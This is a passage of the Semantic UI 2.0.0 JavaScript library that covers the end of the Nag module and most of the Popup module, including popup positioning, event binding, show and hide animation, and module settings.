currentTime;\n              performance.push({\n                'Name'           : message[0],\n                'Arguments'      : [].slice.call(message, 1) || '',\n                'Element'        : element,\n                'Execution Time' : executionTime\n              });\n            }\n            clearTimeout(module.performance.timer);\n            module.performance.timer = setTimeout(module.performance.display, 500);\n          },\n          display: function() {\n            var\n              title = settings.name + ':',\n              totalTime = 0\n            ;\n            time = false;\n            clearTimeout(module.performance.timer);\n            $.each(performance, function(index, data) {\n              totalTime += data['Execution Time'];\n            });\n            title += ' ' + totalTime + 'ms';\n            if(moduleSelector) {\n              title += ' \\'' + moduleSelector + '\\'';\n            }\n            if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) {\n              console.groupCollapsed(title);\n              if(console.table) {\n                console.table(performance);\n              }\n              else {\n                $.each(performance, function(index, data) {\n                  console.log(data['Name'] + ': ' + data['Execution Time']+'ms');\n                });\n              }\n              console.groupEnd();\n            }\n            performance = [];\n          }\n        },\n        invoke: function(query, passedArguments, context) {\n          var\n            object = instance,\n            maxDepth,\n            found,\n            response\n          ;\n          passedArguments = passedArguments || queryArguments;\n          context         = element         || context;\n          if(typeof query == 'string' && object !== undefined) {\n            query    = query.split(/[\\. ]/);\n            maxDepth = query.length - 1;\n            $.each(query, function(depth, value) {\n              var camelCaseValue = (depth != maxDepth)\n                ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1)\n                : query\n              ;\n              if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) {\n                object = object[camelCaseValue];\n              }\n              else if( object[camelCaseValue] !== undefined ) {\n                found = object[camelCaseValue];\n                return false;\n              }\n              else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) {\n                object = object[value];\n              }\n              else if( object[value] !== undefined ) {\n                found = object[value];\n                return false;\n              }\n              else {\n                module.error(error.method, query);\n                return false;\n              }\n            });\n          }\n          if ( $.isFunction( found ) ) {\n            response = found.apply(context, passedArguments);\n          }\n          else if(found !== undefined) {\n            response = found;\n          }\n          if($.isArray(returnedValue)) {\n            returnedValue.push(response);\n          }\n          else if(returnedValue !== undefined) {\n            returnedValue = [returnedValue, response];\n          }\n          else if(response !== undefined) {\n            returnedValue = response;\n          }\n          return found;\n        }\n      };\n\n      if(methodInvoked) {\n        if(instance === undefined) {\n          module.initialize();\n        }\n        module.invoke(query);\n      }\n      else {\n        if(instance !== undefined) {\n          instance.invoke('destroy');\n        }\n        module.initialize();\n      }\n    })\n  ;\n\n  return (returnedValue !== undefined)\n    ? returnedValue\n    : this\n  ;\n};\n\n$.fn.nag.settings = {\n\n  name        : 'Nag',\n\n  debug       : false,\n  verbose     : false,\n  performance : true,\n\n  namespace   : 'Nag',\n\n  // allows cookie to be overriden\n  persist     : false,\n\n  // set to zero to require manually dismissal, otherwise hides on its own\n  displayTime : 0,\n\n  animation   : {\n    show : 'slide',\n    hide : 'slide'\n  },\n\n  context       : false,\n  detachable    : false,\n\n  expires       : 30,\n  domain        : false,\n  path          : '/',\n\n  // type of storage to use\n  storageMethod : 'cookie',\n\n  // value to store in dismissed localstorage/cookie\n  key           : 'nag',\n  value         : 'dismiss',\n\n  error: {\n    noCookieStorage : '$.cookie is not included. A storage solution is required.',\n    noStorage       : 'Neither $.cookie or store is defined. A storage solution is required for storing state',\n    method          : 'The method you called is not defined.'\n  },\n\n  className     : {\n    bottom : 'bottom',\n    fixed  : 'fixed'\n  },\n\n  selector      : {\n    close : '.close.icon'\n  },\n\n  speed         : 500,\n  easing        : 'easeOutQuad',\n\n  onHide: function() {}\n\n};\n\n})( jQuery, window , document );\n\n/*!\n * # Semantic UI 2.0.0 - Popup\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n;(function ($, window, document, undefined) {\n\n\"use strict\";\n\n$.fn.popup = function(parameters) {\n  var\n    $allModules    = $(this),\n    $document      = $(document),\n    $window        = $(window),\n    $body          = $('body'),\n\n    moduleSelector = $allModules.selector || '',\n\n    hasTouch       = ('ontouchstart' in document.documentElement),\n    time           = new Date().getTime(),\n    performance    = [],\n\n    query          = arguments[0],\n    methodInvoked  = (typeof query == 'string'),\n    queryArguments = [].slice.call(arguments, 1),\n\n    returnedValue\n  ;\n  $allModules\n    .each(function() {\n      var\n        settings        = ( $.isPlainObject(parameters) )\n          ? $.extend(true, {}, $.fn.popup.settings, parameters)\n          : $.extend({}, $.fn.popup.settings),\n\n        selector           = settings.selector,\n        className          = settings.className,\n        error              = settings.error,\n        metadata           = settings.metadata,\n        namespace          = settings.namespace,\n\n        eventNamespace     = '.' + settings.namespace,\n        moduleNamespace    = 'module-' + namespace,\n\n        $module            = $(this),\n        $context           = $(settings.context),\n        $target            = (settings.target)\n          ? $(settings.target)\n          : $module,\n\n        $popup,\n        $offsetParent,\n\n        searchDepth        = 0,\n        triedPositions     = false,\n        openedWithTouch    = false,\n\n        element            = this,\n        instance           = $module.data(moduleNamespace),\n\n        elementNamespace,\n        id,\n        module\n      ;\n\n      module = {\n\n        // binds events\n        initialize: function() {\n          module.debug('Initializing', $module);\n          module.createID();\n          module.bind.events();\n          if( !module.exists() && settings.preserve) {\n            module.create();\n          }\n          module.instantiate();\n        },\n\n        instantiate: function() {\n          module.verbose('Storing instance', module);\n          instance = module;\n          $module\n            .data(moduleNamespace, instance)\n          ;\n        },\n\n        refresh: function() {\n          if(settings.popup) {\n            $popup = $(settings.popup).eq(0);\n          }\n          else {\n            if(settings.inline) {\n              $popup = $target.next(selector.popup).eq(0);\n              settings.popup = $popup;\n            }\n          }\n          if(settings.popup) {\n            $popup.addClass(className.loading);\n            $offsetParent = module.get.offsetParent();\n            $popup.removeClass(className.loading);\n            if(settings.movePopup && module.has.popup() && module.get.offsetParent($popup)[0] !== $offsetParent[0]) {\n              module.debug('Moving popup to the same offset parent as activating element');\n              $popup\n                .detach()\n                .appendTo($offsetParent)\n              ;\n            }\n          }\n          else {\n            $offsetParent = (settings.inline)\n              ? module.get.offsetParent($target)\n              : module.has.popup()\n                ? module.get.offsetParent($popup)\n                : $body\n            ;\n          }\n          if( $offsetParent.is('html') ) {\n            module.debug('Setting page as offset parent');\n            $offsetParent = $body;\n          }\n        },\n\n        reposition: function() {\n          module.refresh();\n          module.set.position();\n        },\n\n        destroy: function() {\n          module.debug('Destroying previous module');\n          // remove element only if was created dynamically\n          if($popup && !settings.preserve) {\n            module.removePopup();\n          }\n          // clear all timeouts\n          clearTimeout(module.hideTimer);\n          clearTimeout(module.showTimer);\n          // remove events\n          $window.off(elementNamespace);\n          $module\n            .off(eventNamespace)\n            .removeData(moduleNamespace)\n          ;\n        },\n\n        event: {\n          start:  function(event) {\n            var\n              delay = ($.isPlainObject(settings.delay))\n                ? settings.delay.show\n                : settings.delay\n            ;\n            clearTimeout(module.hideTimer);\n            module.showTimer = setTimeout(module.show, delay);\n          },\n          end:  function() {\n            var\n              delay = ($.isPlainObject(settings.delay))\n                ? settings.delay.hide\n                : settings.delay\n            ;\n            clearTimeout(module.showTimer);\n            module.hideTimer = setTimeout(module.hide, delay);\n          },\n          touchstart: function(event) {\n            openedWithTouch = true;\n            module.event.start();\n          },\n          resize: function() {\n            if( module.is.visible() ) {\n              module.set.position();\n            }\n          },\n          hideGracefully: function(event) {\n            // don't close on clicks inside popup\n            if(event && $(event.target).closest(selector.popup).length === 0) {\n              module.debug('Click occurred outside popup hiding popup');\n              module.hide();\n            }\n            else {\n              module.debug('Click was inside popup, keeping popup open');\n            }\n          }\n        },\n\n        // generates popup html from metadata\n        create: function() {\n          var\n            html      = module.get.html(),\n            variation = module.get.variation(),\n            title     = module.get.title(),\n            content   = module.get.content()\n          ;\n\n          if(html || content || title) {\n            module.debug('Creating pop-up html');\n            if(!html) {\n              html = settings.templates.popup({\n                title   : title,\n                content : content\n              });\n            }\n            $popup = $('<div/>')\n              .addClass(className.popup)\n              .addClass(variation)\n              .data(metadata.activator, $module)\n              .html(html)\n            ;\n            if(variation) {\n              $popup\n                .addClass(variation)\n              ;\n            }\n            if(settings.inline) {\n              module.verbose('Inserting popup element inline', $popup);\n              $popup\n                .insertAfter($module)\n              ;\n            }\n            else {\n              module.verbose('Appending popup element to body', $popup);\n              $popup\n                .appendTo( $context )\n              ;\n            }\n            module.refresh();\n            if(settings.hoverable) {\n              module.bind.popup();\n            }\n            settings.onCreate.call($popup, element);\n          }\n          else if($target.next(selector.popup).length !== 0) {\n            module.verbose('Pre-existing popup found');\n            settings.inline = true;\n            settings.popups  = $target.next(selector.popup).data(metadata.activator, $module);\n            module.refresh();\n            if(settings.hoverable) {\n              module.bind.popup();\n            }\n          }\n          else if(settings.popup) {\n            $(settings.popup).data(metadata.activator, $module);\n            module.verbose('Used popup specified in settings');\n            module.refresh();\n            if(settings.hoverable) {\n              module.bind.popup();\n            }\n          }\n          else {\n            module.debug('No content specified skipping display', element);\n          }\n        },\n\n        createID: function() {\n          id = (Math.random().toString(16) + '000000000').substr(2,8);\n          elementNamespace = '.' + id;\n          module.verbose('Creating unique id for element', id);\n        },\n\n        // determines popup state\n        toggle: function() {\n          module.debug('Toggling pop-up');\n          if( module.is.hidden() ) {\n            module.debug('Popup is hidden, showing pop-up');\n            module.unbind.close();\n            module.show();\n          }\n          else {\n            module.debug('Popup is visible, hiding pop-up');\n            module.hide();\n          }\n        },\n\n        show: function(callback) {\n          callback = callback || function(){};\n          module.debug('Showing pop-up', settings.transition);\n\n          if(module.is.hidden() && !( module.is.active() && module.is.dropdown()) ) {\n            if( !module.exists() ) {\n              module.create();\n            }\n            if(settings.onShow.call($popup, element) === false) {\n              module.debug('onShow callback returned false, cancelling popup animation');\n              return;\n            }\n            else if(!settings.preserve && !settings.popup) {\n              module.refresh();\n            }\n            if( $popup && module.set.position() ) {\n              module.save.conditions();\n              if(settings.exclusive) {\n                module.hideAll();\n              }\n              module.animate.show(callback);\n            }\n          }\n        },\n\n\n        hide: function(callback) {\n          callback = callback || function(){};\n          if( module.is.visible() || module.is.animating() ) {\n            if(settings.onHide.call($popup, element) === false) {\n              module.debug('onHide callback returned false, cancelling popup animation');\n              return;\n            }\n            module.remove.visible();\n            module.unbind.close();\n            module.restore.conditions();\n            module.animate.hide(callback);\n          }\n        },\n\n        hideAll: function() {\n          $(selector.popup)\n            .filter('.' + className.visible)\n            .each(function() {\n              $(this)\n                .data(metadata.activator)\n                .popup('hide')\n              ;\n            })\n          ;\n        },\n        exists: function() {\n          if(!$popup) {\n            return false;\n          }\n          if(settings.inline || settings.popup) {\n            return ( module.has.popup() );\n          }\n          else {\n            return ( $popup.closest($context).length >= 1 )\n              ? true\n              : false\n            ;\n          }\n        },\n\n        removePopup: function() {\n          module.debug('Removing popup', $popup);\n          if( module.has.popup() && !settings.popup) {\n            $popup.remove();\n            $popup = undefined;\n          }\n          settings.onRemove.call($popup, element);\n        },\n\n        save: {\n          conditions: function() {\n            module.cache = {\n              title: $module.attr('title')\n            };\n            if (module.cache.title) {\n              $module.removeAttr('title');\n            }\n            module.verbose('Saving original attributes', module.cache.title);\n          }\n        },\n        restore: {\n          conditions: function() {\n            if(module.cache && module.cache.title) {\n              $module.attr('title', module.cache.title);\n              module.verbose('Restoring original attributes', module.cache.title);\n            }\n            return true;\n          }\n        },\n        animate: {\n          show: function(callback) {\n            callback = $.isFunction(callback) ? callback : function(){};\n            if(settings.transition && $.fn.transition !== undefined && $module.transition('is supported')) {\n              module.set.visible();\n              $popup\n                .transition({\n                  animation  : settings.transition + ' in',\n                  queue      : false,\n                  debug      : settings.debug,\n                  verbose    : settings.verbose,\n                  duration   : settings.duration,\n                  onComplete : function() {\n                    module.bind.close();\n                    callback.call($popup, element);\n                    settings.onVisible.call($popup, element);\n                  }\n                })\n              ;\n            }\n            else {\n              module.error(error.noTransition);\n            }\n          },\n          hide: function(callback) {\n            callback = $.isFunction(callback) ? callback : function(){};\n            module.debug('Hiding pop-up');\n            if(settings.onShow.call($popup, element) === false) {\n              module.debug('onShow callback returned false, cancelling popup animation');\n              return;\n            }\n            if(settings.transition && $.fn.transition !== undefined && $module.transition('is supported')) {\n              $popup\n                .transition({\n                  animation  : settings.transition + ' out',\n                  queue      : false,\n                  duration   : settings.duration,\n                  debug      : settings.debug,\n                  verbose    : settings.verbose,\n                  onComplete : function() {\n                    module.reset();\n                    callback.call($popup, element);\n                    settings.onHidden.call($popup, element);\n                  }\n                })\n              ;\n            }\n            else {\n              module.error(error.noTransition);\n            }\n          }\n        },\n\n        get: {\n          html: function() {\n            $module.removeData(metadata.html);\n            return $module.data(metadata.html) || settings.html;\n          },\n          title: function() {\n            $module.removeData(metadata.title);\n            return $module.data(metadata.title) || settings.title;\n          },\n          content: function() {\n            $module.removeData(metadata.content);\n            return $module.data(metadata.content) || $module.attr('title') || settings.content;\n          },\n          variation: function() {\n            $module.removeData(metadata.variation);\n            return $module.data(metadata.variation) || settings.variation;\n          },\n          calculations: function() {\n            var\n              targetElement  = $target[0],\n              targetPosition = (settings.inline || settings.popup)\n                ? $target.position()\n                : $target.offset(),\n              calculations = {},\n              screen\n            ;\n            calculations = {\n              // element which is launching popup\n              target : {\n                element : $target[0],\n                width   : $target.outerWidth(),\n                height  : $target.outerHeight(),\n                top     : targetPosition.top,\n                left    : targetPosition.left,\n                margin  : {}\n              },\n              // popup itself\n              popup : {\n                width  : $popup.outerWidth(),\n                height : $popup.outerHeight()\n              },\n              // offset container (or 3d context)\n              parent : {\n                width  : $offsetParent.outerWidth(),\n                height : $offsetParent.outerHeight()\n              },\n              // screen boundaries\n              screen : {\n                scroll: {\n                  top  : $window.scrollTop(),\n                  left : $window.scrollLeft()\n                },\n                width  : $window.width(),\n                height : $window.height()\n              }\n            };\n\n            // add in margins if inline\n            calculations.target.margin.top = (settings.inline)\n              ? parseInt( window.getComputedStyle(targetElement).getPropertyValue('margin-top'), 10)\n              : 0\n            ;\n            calculations.target.margin.left = (settings.inline)\n              ? module.is.rtl()\n                ? parseInt( window.getComputedStyle(targetElement).getPropertyValue('margin-right'), 10)\n                : parseInt( window.getComputedStyle(targetElement).getPropertyValue('margin-left') , 10)\n              : 0\n            ;\n            // calculate screen boundaries\n            screen = calculations.screen;\n            calculations.boundary = {\n              top    : screen.scroll.top,\n              bottom : screen.scroll.top + screen.height,\n              left   : screen.scroll.left,\n              right  : screen.scroll.left + screen.width\n            };\n            return calculations;\n          },\n          id: function() {\n            return id;\n          },\n          startEvent: function() {\n            if(settings.on == 'hover') {\n              return 'mouseenter';\n            }\n            else if(settings.on == 'focus') {\n              return 'focus';\n            }\n            return false;\n          },\n          scrollEvent: function() {\n            return 'scroll';\n          },\n          endEvent: function() {\n            if(settings.on == 'hover') {\n              return 'mouseleave';\n            }\n            else if(settings.on == 'focus') {\n              return 'blur';\n            }\n            return false;\n          },\n          offsetParent: function($target) {\n            var\n              element = ($target !== undefined)\n                ? $target[0]\n                : $module[0],\n              parentNode = element.parentNode,\n              $node    = $(parentNode)\n            ;\n            if(parentNode) {\n              var\n                is2D     = ($node.css('transform') === 'none'),\n                isStatic = ($node.css('position') === 'static'),\n                isHTML   = $node.is('html')\n              ;\n              while(parentNode && !isHTML && isStatic && is2D) {\n                parentNode = parentNode.parentNode;\n                $node    = $(parentNode);\n                is2D     = ($node.css('transform') === 'none');\n                isStatic = ($node.css('position') === 'static');\n                isHTML   = $node.is('html');\n              }\n            }\n            return ($node && $node.length > 0)\n              ? $node\n              : $()\n            ;\n          },\n          offstagePosition: function(position, calculations) {\n            var\n              offset            = $popup.offset(),\n              offstage          = {},\n              offstagePositions = [],\n              popup,\n              boundary\n            ;\n            position     = position     || false;\n            calculations = calculations || module.get.calculations();\n            // shorthand\n            popup        = calculations.popup;\n            boundary     = calculations.boundary;\n\n            if(offset && position) {\n              offstage = {\n                top    : (offset.top < boundary.top),\n                bottom : (offset.top + popup.height > boundary.bottom),\n                right  : (offset.left + popup.width > boundary.right),\n                left   : (offset.left < boundary.left)\n              };\n              module.verbose('Offstage positions determined', offset, offstage);\n            }\n            // return only boundaries that have been surpassed\n            $.each(offstage, function(direction, isOffstage) {\n              if(isOffstage) {\n                offstagePositions.push(direction);\n              }\n            });\n            return (offstagePositions.length > 0)\n              ? offstagePositions.join(' ')\n              : false\n            ;\n          },\n          positions: function() {\n            return {\n              'top left'      : false,\n              'top center'    : false,\n              'top right'     : false,\n              'bottom left'   : false,\n              'bottom center' : false,\n              'bottom right'  : false,\n              'left center'   : false,\n              'right center'  : false\n            };\n          },\n          nextPosition: function(position) {\n            var\n              positions          = position.split(' '),\n              verticalPosition   = positions[0],\n              horizontalPosition = positions[1],\n              opposite = {\n                top    : 'bottom',\n                bottom : 'top',\n                left   : 'right',\n                right  : 'left'\n              },\n              adjacent = {\n                left   : 'center',\n                center : 'right',\n                right  : 'left'\n              },\n              backup = {\n                'top left'      : 'top center',\n                'top center'    : 'top right',\n                'top right'     : 'right center',\n                'right center'  : 'bottom right',\n                'bottom right'  : 'bottom center',\n                'bottom center' : 'bottom left',\n                'bottom left'   : 'left center',\n                'left center'   : 'top left'\n              },\n              adjacentsAvailable = (verticalPosition == 'top' || verticalPosition == 'bottom'),\n              oppositeTried = false,\n              adjacentTried = false,\n              nextPosition  = false\n            ;\n            if(!triedPositions) {\n              module.verbose('All available positions available');\n              triedPositions = module.get.positions();\n            }\n\n            module.debug('Recording last position tried', position);\n            triedPositions[position] = true;\n\n            if(settings.prefer === 'opposite') {\n              nextPosition  = [opposite[verticalPosition], horizontalPosition];\n              nextPosition  = nextPosition.join(' ');\n              oppositeTried = (triedPositions[nextPosition] === true);\n              module.debug('Trying opposite strategy', nextPosition);\n            }\n            if((settings.prefer === 'adjacent') && adjacentsAvailable ) {\n              nextPosition  = [verticalPosition, adjacent[horizontalPosition]];\n              nextPosition  = nextPosition.join(' ');\n              adjacentTried = (triedPositions[nextPosition] === true);\n              module.debug('Trying adjacent strategy', nextPosition);\n            }\n            if(adjacentTried || oppositeTried) {\n              module.debug('Using backup position', nextPosition);\n              nextPosition = backup[position];\n            }\n            return nextPosition;\n          }\n        },\n\n        set: {\n          position: function(position, calculations) {\n\n            // exit conditions\n            if($target.length === 0 || $popup.length === 0) {\n              module.error(error.notFound);\n              return;\n            }\n            var\n              offset,\n              distanceAway,\n              target,\n              popup,\n              parent,\n              computedPosition,\n              positioning,\n              offstagePosition\n            ;\n            calculations = calculations || module.get.calculations();\n            position     = position     || $module.data(metadata.position) || settings.position;\n\n            offset       = $module.data(metadata.offset) || settings.offset;\n            distanceAway = settings.distanceAway;\n\n            // shorthand\n            target = calculations.target;\n            popup  = calculations.popup;\n            parent = calculations.parent;\n\n            if(target.top === 0 && target.left === 0) {\n              module.debug('Popup target is hidden, no action taken');\n              return false;\n            }\n\n            if(settings.inline) {\n              module.debug('Adding margin to calculation', target.margin);\n              if(position == 'left center' || position == 'right center') {\n                offset       +=  target.margin.top;\n                distanceAway += -target.margin.left;\n              }\n              else if (position == 'top left' || position == 'top center' || position == 'top right') {\n                offset       += target.margin.left;\n                distanceAway -= target.margin.top;\n              }\n              else {\n                offset       += target.margin.left;\n                distanceAway += target.margin.top;\n              }\n            }\n\n            module.debug('Determining popup position from calculations', position, calculations);\n\n            if (module.is.rtl()) {\n              position = position.replace(/left|right/g, function (match) {\n                return (match == 'left')\n                  ? 'right'\n                  : 'left'\n                ;\n              });\n              module.debug('RTL: Popup position updated', position);\n            }\n\n            if(searchDepth == settings.maxSearchDepth && settings.lastResort) {\n              module.debug('Using \"last resort\" position to display', settings.lastResort);\n              position = settings.lastResort;\n            }\n\n            switch (position) {\n              case 'top left':\n                positioning = {\n                  top    : 'auto',\n                  bottom : parent.height - target.top + distanceAway,\n                  left   : target.left + offset,\n                  right  : 'auto'\n                };\n              break;\n              case 'top center':\n                positioning = {\n                  bottom : parent.height - target.top + distanceAway,\n                  left   : target.left + (target.width / 2) - (popup.width / 2) + offset,\n                  top    : 'auto',\n                  right  : 'auto'\n                };\n              break;\n              case 'top right':\n                positioning = {\n                  bottom :  parent.height - target.top + distanceAway,\n                  right  :  parent.width - target.left - target.width - offset,\n                  top    : 'auto',\n                  left   : 'auto'\n                };\n              break;\n              case 'left center':\n                positioning = {\n                  top    : target.top + (target.height / 2) - (popup.height / 2) + offset,\n                  right  : parent.width - target.left + distanceAway,\n                  left   : 'auto',\n                  bottom : 'auto'\n                };\n              break;\n              case 'right center':\n                positioning = {\n                  top    : target.top + (target.height / 2) - (popup.height / 2) + offset,\n                  left   : target.left + target.width + distanceAway,\n                  bottom : 'auto',\n                  right  : 'auto'\n                };\n              break;\n              case 'bottom left':\n                positioning = {\n                  top    : target.top + target.height + distanceAway,\n                  left   : target.left + offset,\n                  bottom : 'auto',\n                  right  : 'auto'\n                };\n              break;\n              case 'bottom center':\n                positioning = {\n                  top    : target.top + target.height + distanceAway,\n                  left   : target.left + (target.width / 2) - (popup.width / 2) + offset,\n                  bottom : 'auto',\n                  right  : 'auto'\n                };\n              break;\n              case 'bottom right':\n                positioning = {\n                  top    : target.top + target.height + distanceAway,\n                  right  : parent.width - target.left  - target.width - offset,\n                  left   : 'auto',\n                  bottom : 'auto'\n                };\n              break;\n            }\n            if(positioning === undefined) {\n              module.error(error.invalidPosition, position);\n            }\n\n            module.debug('Calculated popup positioning values', positioning);\n\n            // tentatively place on stage\n            $popup\n              .css(positioning)\n              .removeClass(className.position)\n              .addClass(position)\n              .addClass(className.loading)\n            ;\n            // check if is offstage\n            offstagePosition = module.get.offstagePosition(position, calculations);\n\n            // recursively find new positioning\n            if(offstagePosition) {\n              module.debug('Popup cant fit into viewport', position, offstagePosition);\n              if(searchDepth < settings.maxSearchDepth) {\n                searchDepth++;\n                position = module.get.nextPosition(position);\n                module.debug('Trying new position', position);\n                return ($popup)\n                  ? module.set.position(position, calculations)\n                  : false\n                ;\n              }\n              else if(!settings.lastResort) {\n                module.debug('Popup could not find a position in view', $popup);\n                // module.error(error.cannotPlace, element);\n                module.remove.attempts();\n                module.remove.loading();\n                module.reset();\n                return false;\n              }\n            }\n\n            module.debug('Position is on stage', position);\n            module.remove.attempts();\n            module.set.fluidWidth(calculations);\n            module.remove.loading();\n            return true;\n          },\n\n          fluidWidth: function(calculations) {\n            calculations = calculations || module.get.calculations();\n            if( settings.setFluidWidth && $popup.hasClass(className.fluid) ) {\n              $popup.css('width', calculations.parent.width);\n            }\n          },\n\n          visible: function() {\n            $module.addClass(className.visible);\n          }\n        },\n\n        remove: {\n          loading: function() {\n            $popup.removeClass(className.loading);\n          },\n          visible: function() {\n            $module.removeClass(className.visible);\n          },\n          attempts: function() {\n            module.verbose('Resetting all searched positions');\n            searchDepth    = 0;\n            triedPositions = false;\n          }\n        },\n\n        bind: {\n          events: function() {\n            module.debug('Binding popup events to module');\n            if(settings.on == 'click') {\n              $module\n                .on('click' + eventNamespace, module.toggle)\n              ;\n            }\n            if(settings.on == 'hover' && hasTouch) {\n              $module\n                .on('touchstart' + eventNamespace, module.event.touchstart)\n              ;\n            }\n            else if( module.get.startEvent() ) {\n              $module\n                .on(module.get.startEvent() + eventNamespace, module.event.start)\n                .on(module.get.endEvent() + eventNamespace, module.event.end)\n              ;\n            }\n            if(settings.target) {\n              module.debug('Target set to element', $target);\n            }\n            $window.on('resize' + elementNamespace, module.event.resize);\n          },\n          popup: function() {\n            module.verbose('Allowing hover events on popup to prevent closing');\n            if( $popup && module.has.popup() ) {\n              $popup\n                .on('mouseenter' + eventNamespace, module.event.start)\n                .on('mouseleave' + eventNamespace, module.event.end)\n              ;\n            }\n          },\n          close: function() {\n            if(settings.hideOnScroll === true || (settings.hideOnScroll == 'auto' && settings.on != 'click'))   {\n              $document\n                .one(module.get.scrollEvent() + elementNamespace, module.event.hideGracefully)\n              ;\n              $context\n                .one(module.get.scrollEvent() + elementNamespace, module.event.hideGracefully)\n              ;\n            }\n            if(settings.on == 'hover' && openedWithTouch) {\n              module.verbose('Binding popup close event to document');\n              $document\n                .on('touchstart' + elementNamespace, function(event) {\n                  module.verbose('Touched away from popup');\n                  module.event.hideGracefully.call(element, event);\n                })\n              ;\n            }\n            if(settings.on == 'click' && settings.closable) {\n              module.verbose('Binding popup close event to document');\n              $document\n                .on('click' + elementNamespace, function(event) {\n                  module.verbose('Clicked away from popup');\n                  module.event.hideGracefully.call(element, event);\n                })\n              ;\n            }\n          }\n        },\n\n        unbind: {\n          close: function() {\n            if(settings.hideOnScroll === true || (settings.hideOnScroll == 'auto' && settings.on != 'click')) {\n              $document\n                .off('scroll' + elementNamespace, module.hide)\n              ;\n              $context\n                .off('scroll' + elementNamespace, module.hide)\n              ;\n            }\n            if(settings.on == 'hover' && openedWithTouch) {\n              $document\n                .off('touchstart' + elementNamespace)\n              ;\n              openedWithTouch = false;\n            }\n            if(settings.on == 'click' && settings.closable) {\n              module.verbose('Removing close event from document');\n              $document\n                .off('click' + elementNamespace)\n              ;\n            }\n          }\n        },\n\n        has: {\n          popup: function() {\n            return ($popup && $popup.length > 0);\n          }\n        },\n\n        is: {\n          active: function() {\n            return $module.hasClass(className.active);\n          },\n          animating: function() {\n            return ( $popup && $popup.hasClass(className.animating) );\n          },\n          visible: function() {\n            return $popup && $popup.hasClass(className.visible);\n          },\n          dropdown: function() {\n            return $module.hasClass(className.dropdown);\n          },\n          hidden: function() {\n            return !module.is.visible();\n          },\n          rtl: function () {\n            return $module.css('direction') == 'rtl';\n          }\n        },\n\n        reset: function() {\n          module.remove.visible();\n          if(settings.preserve) {\n            if($.fn.transition !== undefined) {\n              $popup\n                .transition('remove transition')\n              ;\n            }\n          }\n          else {\n            module.removePopup();\n          }\n        },\n\n        setting: function(name, value) {\n          if( $.isPlainObject(name) ) {\n            $.extend(true, settings, name);\n          }\n          else if(value !== undefined) {\n            settings[name] = value;\n          }\n          else {\n            return settings[name];\n          }\n        },\n        internal: function(name, value) {\n          if( $.isPlainObject(name) ) {\n            $.extend(true, module, name);\n          }\n          else if(value !== undefined) {\n            module[name] = value;\n          }\n          else {\n            return module[name];\n          }\n        },\n        debug: function() {\n          if(settings.debug) {\n            if(settings.performance) {\n              module.performance.log(arguments);\n            }\n            else {\n              module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':');\n              module.debug.apply(console, arguments);\n            }\n          }\n        },\n        verbose: function() {\n          if(settings.verbose && settings.debug) {\n            if(settings.performance) {\n              module.performance.log(arguments);\n            }\n            else {\n              module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':');\n              module.verbose.apply(console, arguments);\n            }\n          }\n        },\n        error: function() {\n          module.error = Function.prototype.bind.call(console.error, console, settings.name + ':');\n          module.error.apply(console, arguments);\n        },\n        performance: {\n          log: function(message) {\n            var\n              currentTime,\n              executionTime,\n              previousTime\n            ;\n            if(settings.performance) {\n              currentTime   = new Date().getTime();\n              previousTime  = time || currentTime;\n              executionTime = currentTime - previousTime;\n              time          = currentTime;\n              performance.push({\n                'Name'           : message[0],\n                'Arguments'      : [].slice.call(message, 1) || '',\n                'Element'        : element,\n                'Execution Time' : executionTime\n              });\n            }\n            clearTimeout(module.performance.timer);\n            module.performance.timer = setTimeout(module.performance.display, 500);\n          },\n          display: function() {\n            var\n              title = settings.name + ':',\n              totalTime = 0\n            ;\n            time = false;\n            clearTimeout(module.performance.timer);\n            $.each(performance, function(index, data) {\n              totalTime += data['Execution Time'];\n            });\n            title += ' ' + totalTime + 'ms';\n            if(moduleSelector) {\n              title += ' \\'' + moduleSelector + '\\'';\n            }\n            if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) {\n              console.groupCollapsed(title);\n              if(console.table) {\n                console.table(performance);\n              }\n              else {\n                $.each(performance, function(index, data) {\n                  console.log(data['Name'] + ': ' + data['Execution Time']+'ms');\n                });\n              }\n              console.groupEnd();\n            }\n            performance = [];\n          }\n        },\n        invoke: function(query, passedArguments, context) {\n          var\n            object = instance,\n            maxDepth,\n            found,\n            response\n          ;\n          passedArguments = passedArguments || queryArguments;\n          context         = element         || context;\n          if(typeof query == 'string' && object !== undefined) {\n            query    = query.split(/[\\. ]/);\n            maxDepth = query.length - 1;\n            $.each(query, function(depth, value) {\n              var camelCaseValue = (depth != maxDepth)\n                ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1)\n                : query\n              ;\n              if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) {\n                object = object[camelCaseValue];\n              }\n              else if( object[camelCaseValue] !== undefined ) {\n                found = object[camelCaseValue];\n                return false;\n              }\n              else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) {\n                object = object[value];\n              }\n              else if( object[value] !== undefined ) {\n                found = object[value];\n                return false;\n              }\n              else {\n                return false;\n              }\n            });\n          }\n          if ( $.isFunction( found ) ) {\n            response = found.apply(context, passedArguments);\n          }\n          else if(found !== undefined) {\n            response = found;\n          }\n          if($.isArray(returnedValue)) {\n            returnedValue.push(response);\n          }\n          else if(returnedValue !== undefined) {\n            returnedValue = [returnedValue, response];\n          }\n          else if(response !== undefined) {\n            returnedValue = response;\n          }\n          return found;\n        }\n      };\n\n      if(methodInvoked) {\n        if(instance === undefined) {\n          module.initialize();\n        }\n        module.invoke(query);\n      }\n      else {\n        if(instance !== undefined) {\n          instance.invoke('destroy');\n        }\n        module.initialize();\n      }\n    })\n  ;\n\n  return (returnedValue !== undefined)\n    ? returnedValue\n    : this\n  ;\n};\n\n$.fn.popup.settings = {\n\n  name         : 'Popup',\n\n  // module settings\n  debug        : false,\n  verbose      : false,\n  performance  : true,\n  namespace    : 'popup',\n\n  // callback only when element added to dom\n  onCreate     : function(){},\n\n  // callback before element removed from dom\n  onRemove     : function(){},\n\n  // callback before show animation\n  onShow       : function(){},\n\n  // callback after show animation\n  onVisible    : function(){},\n\n  // callback before hide animation\n 